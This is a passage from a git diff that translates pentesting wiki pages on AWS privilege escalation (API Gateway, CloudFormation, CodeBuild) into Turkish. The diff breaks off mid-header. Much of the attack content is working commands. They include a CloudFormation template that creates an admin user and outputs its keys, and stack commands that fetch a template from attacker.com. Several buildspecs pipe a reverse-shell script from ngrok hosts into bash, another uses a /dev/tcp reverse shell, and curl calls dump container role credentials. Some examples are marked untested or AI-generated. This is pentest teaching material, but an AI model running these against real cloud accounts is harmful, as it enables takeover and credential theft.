mevcut bir API Gateway REST API'sine yeni bir entegrasyon ekleyebilir**. Saldırgan daha sonra **Lambda fonksiyonunu tetikleyerek rastgele kodu çalıştırabilir ve potansiyel olarak IAM rolü ile ilişkili kaynaklara erişim elde edebilir**. ```bash API_ID="your-api-id" RESOURCE_ID="your-resource-id" @@ -63,16 +56,14 @@ aws apigateway put-integration --rest-api-id $API_ID --resource-id $RESOURCE_ID # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Access to resources associated with the Lambda function's IAM role. +**Potansiyel Etki**: Lambda fonksiyonunun IAM rolü ile ilişkili kaynaklara erişim. ### `apigateway:UpdateAuthorizer`, `apigateway:CreateDeployment` -> [!NOTE] -> Need testing - -An attacker with the permissions `apigateway:UpdateAuthorizer` and `apigateway:CreateDeployment` can **modify an existing API Gateway authorizer** to bypass security checks or to execute arbitrary code when API requests are made. +> [!NOT] +> Test edilmesi gerekiyor +`apigateway:UpdateAuthorizer` ve `apigateway:CreateDeployment` izinlerine sahip bir saldırgan, **mevcut bir API Gateway yetkilisini değiştirebilir** ve güvenlik kontrollerini atlayabilir veya API istekleri yapıldığında rastgele kod çalıştırabilir. ```bash API_ID="your-api-id" AUTHORIZER_ID="your-authorizer-id" @@ -84,16 +75,14 @@ aws apigateway update-authorizer --rest-api-id $API_ID --authorizer-id $AUTHORIZ # Create a deployment for the updated API Gateway REST API aws apigateway create-deployment --rest-api-id $API_ID --stage-name Prod ``` - -**Potential Impact**: Bypassing security checks, unauthorized access to API resources. +**Olası Etki**: Güvenlik kontrollerinin atlanması, API kaynaklarına yetkisiz erişim. ### `apigateway:UpdateVpcLink` > [!NOTE] -> Need testing - -An attacker with the permission `apigateway:UpdateVpcLink` can **modify an existing VPC Link to point to a different Network Load Balancer, potentially redirecting private API traffic to unauthorized or malicious resources**. +> Test edilmesi gerekiyor +`apigateway:UpdateVpcLink` iznine sahip bir saldırgan, **mevcut bir VPC Bağlantısını farklı bir Ağ Yük Dengeleyicisine yönlendirecek şekilde değiştirebilir, bu da özel API trafiğini yetkisiz veya kötü niyetli kaynaklara yönlendirebilir**. ```bash bashCopy codeVPC_LINK_ID="your-vpc-link-id" NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new-load-balancer-name/50dc6c495c0c9188" @@ -101,11 +90,6 @@ NEW_NLB_ARN="arn:aws:elasticloadbalancing:region:account-id:loadbalancer/net/new # Update the VPC Link aws apigateway update-vpc-link --vpc-link-id $VPC_LINK_ID --patch-operations op=replace,path=/targetArns,value="[$NEW_NLB_ARN]" ``` - -**Potential Impact**: Unauthorized access to private API resources, interception or disruption of API traffic. +**Potansiyel Etki**: Özel API kaynaklarına yetkisiz erişim, API trafiğinin kesilmesi veya kesintiye uğraması. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md index b477dc31f..26e932728 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-chime-privesc.md @@ -4,10 +4,6 @@ ### chime:CreateApiKey -TODO +YAPILACAK {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md index 39cba539e..f72271311 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/README.md @@ -4,7 +4,7 @@ ## cloudformation -For more information about cloudformation check: +Cloudformation hakkında daha fazla bilgi için kontrol edin: {{#ref}} ../../aws-services/aws-cloudformation-and-codestar-enum.md @@ -12,111 +12,99 @@ For more information about cloudformation check: ### `iam:PassRole`, `cloudformation:CreateStack` -An attacker with these permissions **can escalate privileges** by crafting a **CloudFormation stack** with a custom template, hosted on their server, to **execute actions under the permissions of a specified role:** - +Bu izinlere sahip bir saldırgan **yetkileri artırabilir** ve **belirtilen bir rolün izinleri altında eylemler gerçekleştirmek için** kendi sunucusunda barındırılan özel bir şablon ile bir **CloudFormation yığını** oluşturarak: ```bash aws cloudformation create-stack --stack-name \ - --template-url http://attacker.com/attackers.template \ - --role-arn +--template-url http://attacker.com/attackers.template \ +--role-arn ``` - -In the following page you have an **exploitation example** with the additional permission **`cloudformation:DescribeStacks`**: +Aşağıdaki sayfada **bir istismar örneği** ile ek izin **`cloudformation:DescribeStacks`** bulunmaktadır: {{#ref}} iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md {{#endref}} -**Potential Impact:** Privesc to the cloudformation service role specified. +**Olası Etki:** Belirtilen cloudformation hizmet rolüne privesc. ### `iam:PassRole`, (`cloudformation:UpdateStack` | `cloudformation:SetStackPolicy`) -In this case you can a**buse an existing cloudformation stack** to update it and escalate privileges as in the previous scenario: - +Bu durumda, **mevcut bir cloudformation yığınını** güncelleyerek ve önceki senaryodaki gibi ayrıcalıkları artırarak kötüye kullanabilirsiniz: ```bash aws cloudformation update-stack \ - --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 ``` +`cloudformation:SetStackPolicy` izni, bir yığın üzerinde **kendinize `UpdateStack` izni vermek** için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. - -**Potential Impact:** Privesc to the cloudformation service role specified. +**Olası Etki:** Belirtilen cloudformation hizmet rolüne privesc. ### `cloudformation:UpdateStack` | `cloudformation:SetStackPolicy` -If you have this permission but **no `iam:PassRole`** you can still **update the stacks** used and abuse the **IAM Roles they have already attached**. Check the previous section for exploit example (just don't indicate any role in the update). +Bu izne sahipseniz ancak **hiç `iam:PassRole` yoksa**, yine de **kullanılan yığınları güncelleyebilir** ve **zaten eklenmiş IAM Rolleri** kötüye kullanabilirsiniz. Sömürü örneği için önceki bölüme bakın (güncellemeye herhangi bir rol belirtmeyin). -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `UpdateStack` permission** over a stack and perform the attack. +`cloudformation:SetStackPolicy` izni, bir yığın üzerinde **kendinize `UpdateStack` izni vermek** için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz. -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Olası Etki:** Zaten eklenmiş cloudformation hizmet rolüne privesc. ### `iam:PassRole`,((`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -An attacker with permissions to **pass a role and create & execute a ChangeSet** can **create/update a new cloudformation stack abuse the cloudformation service roles** just like with the CreateStack or UpdateStack. - -The following exploit is a **variation of the**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) using the **ChangeSet permissions** to create a stack. +Bir rolü **geçirme ve bir ChangeSet oluşturma & yürütme** izinlerine sahip bir saldırgan, **yeni bir cloudformation yığını oluşturup/güncelleyebilir ve cloudformation hizmet rollerini** CreateStack veya UpdateStack ile olduğu gibi kötüye kullanabilir. +Aşağıdaki sömürü, **ChangeSet izinlerini** kullanarak bir yığın oluşturmanın **bir varyasyonudur**[ **CreateStack bir**](./#iam-passrole-cloudformation-createstack). ```bash aws cloudformation create-change-set \ - --stack-name privesc \ - --change-set-name privesc \ - --change-set-type CREATE \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::947247140022:role/CloudFormationAdmin \ - --capabilities CAPABILITY_IAM \ - --region eu-west-1 +--stack-name privesc \ +--change-set-name privesc \ +--change-set-type CREATE \ +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::947247140022:role/CloudFormationAdmin \ +--capabilities CAPABILITY_IAM \ +--region eu-west-1 echo "Waiting 2 mins to change the stack" sleep 120 aws cloudformation execute-change-set \ - --change-set-name privesc \ - --stack-name privesc \ - --region eu-west-1 +--change-set-name privesc \ +--stack-name privesc \ +--region eu-west-1 echo "Waiting 2 mins to execute the stack" sleep 120 aws cloudformation describe-stacks \ - --stack-name privesc \ - --region eu-west-1 +--stack-name privesc \ +--region eu-west-1 ``` +`cloudformation:SetStackPolicy` izni, bir yığın üzerinde **kendinize `ChangeSet` izinleri vermek** için kullanılabilir ve saldırıyı gerçekleştirebilirsiniz. -The `cloudformation:SetStackPolicy` permission can be used to **give yourself `ChangeSet` permissions** over a stack and perform the attack. - -**Potential Impact:** Privesc to cloudformation service roles. +**Olası Etki:** cloudformation hizmet rolleri için privesc. ### (`cloudformation:CreateChangeSet`, `cloudformation:ExecuteChangeSet`) | `cloudformation:SetStackPolicy`) -This is like the previous method without passing **IAM roles**, so you can just **abuse already attached ones**, just modify the parameter: - +Bu, **IAM rolleri** geçmeden önceki yöntem gibidir, bu nedenle sadece **zaten eklenmiş olanları kötüye kullanabilirsiniz**, sadece parametreyi değiştirin: ``` --change-set-type UPDATE ``` - -**Potential Impact:** Privesc to the cloudformation service role already attached. +**Olası Etki:** Zaten ekli olan cloudformation hizmet rolüne privesc. ### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`) -An attacker could abuse these permissions to create/update StackSets to abuse arbitrary cloudformation roles. +Bir saldırgan, bu izinleri kötüye kullanarak, keyfi cloudformation rollerini kötüye kullanmak için StackSet'ler oluşturup/güncelleyebilir. -**Potential Impact:** Privesc to cloudformation service roles. +**Olası Etki:** Cloudformation hizmet rollerine privesc. ### `cloudformation:UpdateStackSet` -An attacker could abuse this permission without the passRole permission to update StackSets to abuse the attached cloudformation roles. +Bir saldırgan, passRole izni olmadan bu izni kötüye kullanarak, ekli cloudformation rollerini kötüye kullanmak için StackSet'leri güncelleyebilir. -**Potential Impact:** Privesc to the attached cloudformation roles. +**Olası Etki:** Ekli cloudformation rollerine privesc. -## References +## Referanslar - [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md index d41f9062c..5482940eb 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-cloudformation-privesc/iam-passrole-cloudformation-createstack-and-cloudformation-describestacks.md @@ -2,84 +2,74 @@ {{#include ../../../../banners/hacktricks-training.md}} -An attacker could for example use a **cloudformation template** that generates **keys for an admin** user like: - +Bir saldırgan, örneğin, **admin** kullanıcısı için **anahtarlar** üreten bir **cloudformation şablonu** kullanabilir: ```json { - "Resources": { - "AdminUser": { - "Type": "AWS::IAM::User" - }, - "AdminPolicy": { - "Type": "AWS::IAM::ManagedPolicy", - "Properties": { - "Description": "This policy allows all actions on all resources.", - "PolicyDocument": { - "Version": "2012-10-17", - "Statement": [ - { - "Effect": "Allow", - "Action": ["*"], - "Resource": "*" - } - ] - }, - "Users": [ - { - "Ref": "AdminUser" - } - ] - } - }, - "MyUserKeys": { - "Type": "AWS::IAM::AccessKey", - "Properties": { - "UserName": { - "Ref": "AdminUser" - } - } - } - }, - "Outputs": { - "AccessKey": { - "Value": { - "Ref": "MyUserKeys" - }, - "Description": "Access Key ID of Admin User" - }, - "SecretKey": { - "Value": { - "Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] - }, - "Description": "Secret Key of Admin User" - } - } +"Resources": { +"AdminUser": { +"Type": "AWS::IAM::User" +}, +"AdminPolicy": { +"Type": "AWS::IAM::ManagedPolicy", +"Properties": { +"Description": "This policy allows all actions on all resources.", +"PolicyDocument": { +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Action": ["*"], +"Resource": "*" +} +] +}, +"Users": [ +{ +"Ref": "AdminUser" +} +] +} +}, +"MyUserKeys": { +"Type": "AWS::IAM::AccessKey", +"Properties": { +"UserName": { +"Ref": "AdminUser" +} +} +} +}, +"Outputs": { +"AccessKey": { +"Value": { +"Ref": "MyUserKeys" +}, +"Description": "Access Key ID of Admin User" +}, +"SecretKey": { +"Value": { +"Fn::GetAtt": ["MyUserKeys", "SecretAccessKey"] +}, +"Description": "Secret Key of Admin User" +} +} } ``` - -Then **generate the cloudformation stack**: - +Sonra **cloudformation yığınını oluşturun**: ```bash aws cloudformation create-stack --stack-name privesc \ - --template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ - --role arn:aws:iam::[REDACTED]:role/adminaccess \ - --capabilities CAPABILITY_IAM --region us-west-2 +--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \ +--role arn:aws:iam::[REDACTED]:role/adminaccess \ +--capabilities CAPABILITY_IAM --region us-west-2 ``` - -**Wait for a couple of minutes** for the stack to be generated and then **get the output** of the stack where the **credentials are stored**: - +**Yığın oluşturulması için birkaç dakika bekleyin** ve ardından **kimlik bilgilerin saklandığı** yığının **çıktısını alın**: ```bash aws cloudformation describe-stacks \ - --stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ - --region uswest-2 +--stack-name arn:aws:cloudformation:us-west2:[REDACTED]:stack/privesc/b4026300-d3fe-11e9-b3b5-06fe8be0ff5e \ +--region uswest-2 ``` - -### References +### Referanslar - [https://bishopfox.com/blog/privilege-escalation-in-aws](https://bishopfox.com/blog/privilege-escalation-in-aws) {{#include ../../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md index b179bec22..975c598c8 100644 --- a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codebuild-privesc.md @@ -4,7 +4,7 @@ ## codebuild -Get more info in: +Daha fazla bilgi için: {{#ref}} ../aws-services/aws-codebuild-enum.md @@ -12,70 +12,65 @@ Get more info in: ### `codebuild:StartBuild` | `codebuild:StartBuildBatch` -Only with one of these permissions it's enough to trigger a build with a new buildspec and steal the token of the iam role assigned to the project: +Bu izinlerden sadece biri ile yeni bir buildspec ile bir build tetiklemek ve projeye atanan iam rolünün token'ını çalmak yeterlidir: {{#tabs }} {{#tab name="StartBuild" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```bash cat > /tmp/buildspec.yml < --buildspec-override file:///tmp/buildspec.yml ``` - {{#endtab }} {{#endtabs }} -**Note**: The difference between these two commands is that: +**Not**: Bu iki komut arasındaki fark şudur: -- `StartBuild` triggers a single build job using a specific `buildspec.yml`. -- `StartBuildBatch` allows you to start a batch of builds, with more complex configurations (like running multiple builds in parallel). +- `StartBuild`, belirli bir `buildspec.yml` kullanarak tek bir build işini tetikler. +- `StartBuildBatch`, daha karmaşık yapılandırmalarla (birden fazla build'i paralel olarak çalıştırmak gibi) bir dizi build başlatmanıza olanak tanır. -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan yetki yükseltme. ### `iam:PassRole`, `codebuild:CreateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -An attacker with the **`iam:PassRole`, `codebuild:CreateProject`, and `codebuild:StartBuild` or `codebuild:StartBuildBatch`** permissions would be able to **escalate privileges to any codebuild IAM role** by creating a running one. +**`iam:PassRole`, `codebuild:CreateProject` ve `codebuild:StartBuild` veya `codebuild:StartBuildBatch`** izinlerine sahip bir saldırgan, çalışan bir tane oluşturarak **herhangi bir codebuild IAM rolüne yetki yükseltebilir**. {{#tabs }} {{#tab name="Example1" }} - ```bash # Enumerate then env and get creds REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" @@ -84,20 +79,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" JSON="{ - \"name\": \"codebuild-demo-project\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"codebuild-demo-project\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" @@ -117,19 +112,17 @@ aws codebuild start-build --project-name codebuild-demo-project # Delete the project aws codebuild delete-project --name codebuild-demo-project ``` - {{#endtab }} -{{#tab name="Example2" }} - +{{#tab name="Örnek2" }} ```bash # Generated by AI, not tested # Create a buildspec.yml file with reverse shell command echo 'version: 0.2 phases: - build: - commands: - - curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml +build: +commands: +- curl https://reverse-shell.sh/2.tcp.ngrok.io:14510 | bash' > buildspec.yml # Upload the buildspec to the bucket and give access to everyone aws s3 cp buildspec.yml s3:/buildspec.yml @@ -141,25 +134,23 @@ aws codebuild create-project --name reverse-shell-project --source type=S3,locat aws codebuild start-build --project-name reverse-shell-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Potansiyel Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme. > [!WARNING] -> In a **Codebuild container** the file `/codebuild/output/tmp/env.sh` contains all the env vars needed to access the **metadata credentials**. +> Bir **Codebuild konteynerinde** dosya `/codebuild/output/tmp/env.sh` **metadata kimlik bilgilerine** erişmek için gereken tüm ortam değişkenlerini içerir. -> This file contains the **env variable `AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** which contains the **URL path** to access the credentials. It will be something like this `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` +> Bu dosya, **kimlik bilgilerine erişim için URL yolu** içeren **`AWS_CONTAINER_CREDENTIALS_RELATIVE_URI`** ortam değişkenini içerir. Bu, `/v2/credentials/2817702c-efcf-4485-9730-8e54303ec420` gibi bir şey olacaktır. -> Add that to the URL **`http://169.254.170.2/`** and you will be able to dump the role credentials. +> Bunu **`http://169.254.170.2/`** URL'sine ekleyin ve rol kimlik bilgilerini dökme işlemi yapabileceksiniz. -> Moreover, it also contains the **env variable `ECS_CONTAINER_METADATA_URI`** which contains the complete URL to get **metadata info about the container**. +> Ayrıca, **konteyner hakkında metadata bilgilerini almak için** tam URL'yi içeren **`ECS_CONTAINER_METADATA_URI`** ortam değişkenini de içerir. ### `iam:PassRole`, `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Just like in the previous section, if instead of creating a build project you can modify it, you can indicate the IAM Role and steal the token - +Önceki bölümde olduğu gibi, bir build projesi oluşturmak yerine onu değiştirebiliyorsanız, IAM Rolünü belirtebilir ve token'ı çalabilirsiniz. ```bash REV_PATH="/tmp/codebuild_pwn.json" @@ -171,20 +162,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | bash" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"aws/codebuild/standard:1.0\", - \"computeType\": \"BUILD_GENERAL1_SMALL\" - }, - \"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"aws/codebuild/standard:1.0\", +\"computeType\": \"BUILD_GENERAL1_SMALL\" +}, +\"serviceRole\": \"arn:aws:iam::947247140022:role/codebuild-CI-Build-service-role-2\" }" printf "$JSON" > $REV_PATH @@ -193,16 +184,14 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - -**Potential Impact:** Direct privesc to any AWS Codebuild role. +**Olası Etki:** Herhangi bir AWS Codebuild rolüne doğrudan yetki yükseltme. ### `codebuild:UpdateProject`, (`codebuild:StartBuild` | `codebuild:StartBuildBatch`) -Like in the previous section but **without the `iam:PassRole` permission**, you can abuse this permissions to **modify existing Codebuild projects and access the role they already have assigned**. +Önceki bölümdeki gibi ancak **`iam:PassRole` izni olmadan**, bu izinleri **mevcut Codebuild projelerini değiştirmek ve zaten atanmış olan role erişmek için kötüye kullanabilirsiniz**. {{#tabs }} {{#tab name="StartBuild" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -213,20 +202,20 @@ REV="env\\\\n - curl http://169.254.170.2\$AWS_CONTAINER_CREDENTIALS_RELATI REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" JSON="{ - \"name\": \"\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nphases:\\\\n build:\\\\n commands:\\\\n - $REV\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" # Note how it's used a image from AWS public ECR instead from docjerhub as dockerhub rate limits CodeBuild! @@ -237,11 +226,9 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build --project-name codebuild-demo-project ``` - {{#endtab }} {{#tab name="StartBuildBatch" }} - ```sh REV_PATH="/tmp/codebuild_pwn.json" @@ -250,20 +237,20 @@ REV="curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh" # You need to indicate the name of the project you want to modify JSON="{ - \"name\": \"project_name\", - \"source\": { - \"type\": \"NO_SOURCE\", - \"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" - }, - \"artifacts\": { - \"type\": \"NO_ARTIFACTS\" - }, - \"environment\": { - \"type\": \"LINUX_CONTAINER\", - \"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", - \"computeType\": \"BUILD_GENERAL1_SMALL\", - \"imagePullCredentialsType\": \"CODEBUILD\" - } +\"name\": \"project_name\", +\"source\": { +\"type\": \"NO_SOURCE\", +\"buildspec\": \"version: 0.2\\\\n\\\\nbatch:\\\\n fast-fail: false\\\\n build-list:\\\\n - identifier: build1\\\\n env:\\\\n variables:\\\\n BUILD_ID: build1\\\\n buildspec: |\\\\n version: 0.2\\\\n env:\\\\n shell: sh\\\\n phases:\\\\n build:\\\\n commands:\\\\n - curl https://reverse-shell.sh/4.tcp.eu.ngrok.io:11125 | sh\\\\n ignore-failure: true\\\\n\" +}, +\"artifacts\": { +\"type\": \"NO_ARTIFACTS\" +}, +\"environment\": { +\"type\": \"LINUX_CONTAINER\", +\"image\": \"public.ecr.aws/h0h9t7p1/alpine-bash-curl-jq:latest\", +\"computeType\": \"BUILD_GENERAL1_SMALL\", +\"imagePullCredentialsType\": \"CODEBUILD\" +} }" printf "$JSON" > $REV_PATH @@ -274,41 +261,37 @@ aws codebuild update-project --cli-input-json file://$REV_PATH aws codebuild start-build-batch --project-name codebuild-demo-project ``` - {{#endtab }} {{#endtabs }} -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Olası Etki:** Bağlı AWS Codebuild rollerine doğrudan yetki yükseltme. ### SSM -Having **enough permissions to start a ssm session** it's possible to get **inside a Codebuild project** being built. +**Bir ssm oturumu başlatmak için yeterli izinlere sahip olmak** durumunda, **inşa edilen bir Codebuild projesinin içine** girmek mümkündür. -The codebuild project will need to have a breakpoint: +Codebuild projesinin bir kesme noktası olması gerekecek:
phases:
-  pre_build:
-    commands:
-      - echo Entered the pre_build phase...
-      - echo "Hello World" > /tmp/hello-world
+pre_build:
+commands:
+- echo Entered the pre_build phase...
+- echo "Hello World" > /tmp/hello-world
       - codebuild-breakpoint
 
-And then: - +Ve sonra: ```bash aws codebuild batch-get-builds --ids --region --output json aws ssm start-session --target --region ``` - -For more info [**check the docs**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). +Daha fazla bilgi için [**belgelere göz atın**](https://docs.aws.amazon.com/codebuild/latest/userguide/session-manager.html). ### (`codebuild:StartBuild` | `codebuild:StartBuildBatch`), `s3:GetObject`, `s3:PutObject` -An attacker able to start/restart a build of a specific CodeBuild project which stores its `buildspec.yml` file on an S3 bucket the attacker has write access to, can obtain command execution in the CodeBuild process. - -Note: the escalation is relevant only if the CodeBuild worker has a different role, hopefully more privileged, than the one of the attacker. +Belirli bir CodeBuild projesinin `buildspec.yml` dosyasını yazma erişimine sahip olduğu bir S3 kovasında depolayan bir saldırgan, bu projeyi başlatıp/yeniden başlatabiliyorsa, CodeBuild sürecinde komut yürütme elde edebilir. +Not: Yükseltme, yalnızca CodeBuild işçisinin saldırganınkinden farklı, umarım daha ayrıcalıklı bir role sahip olması durumunda geçerlidir. ```bash aws s3 cp s3:///buildspec.yml ./ @@ -325,29 +308,22 @@ aws codebuild start-build --project-name # Wait for the reverse shell :) ``` - -You can use something like this **buildspec** to get a **reverse shell**: - +Bunu almak için **buildspec** gibi bir şey kullanabilirsiniz **reverse shell**: ```yaml:buildspec.yml version: 0.2 phases: - build: - commands: - - bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 +build: +commands: +- bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/18419 0>&1 ``` - -**Impact:** Direct privesc to the role used by the AWS CodeBuild worker that usually has high privileges. +**Etkisi:** Genellikle yüksek ayrıcalıklara sahip olan AWS CodeBuild işçisi tarafından kullanılan role doğrudan ayrıcalık yükseltme. > [!WARNING] -> Note that the buildspec could be expected in zip format, so an attacker would need to download, unzip, modify the `buildspec.yml` from the root directory, zip again and upload +> buildspec'in zip formatında beklenebileceğini unutmayın, bu nedenle bir saldırganın indirmesi, açması, kök dizininden `buildspec.yml` dosyasını değiştirmesi, tekrar ziplemesi ve yüklemesi gerekecektir. -More details could be found [here](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/). +Daha fazla ayrıntı [burada](https://www.shielder.com/blog/2023/07/aws-codebuild--s3-privilege-escalation/) bulunabilir. -**Potential Impact:** Direct privesc to attached AWS Codebuild roles. +**Olası Etki:** Ekli AWS Codebuild rollerine doğrudan ayrıcalık yükseltme. {{#include ../../../banners/hacktricks-training.md}} - - - - diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-codepipeline-privesc.md index 0662ae9e2..7e9d64bfd 100644 --- 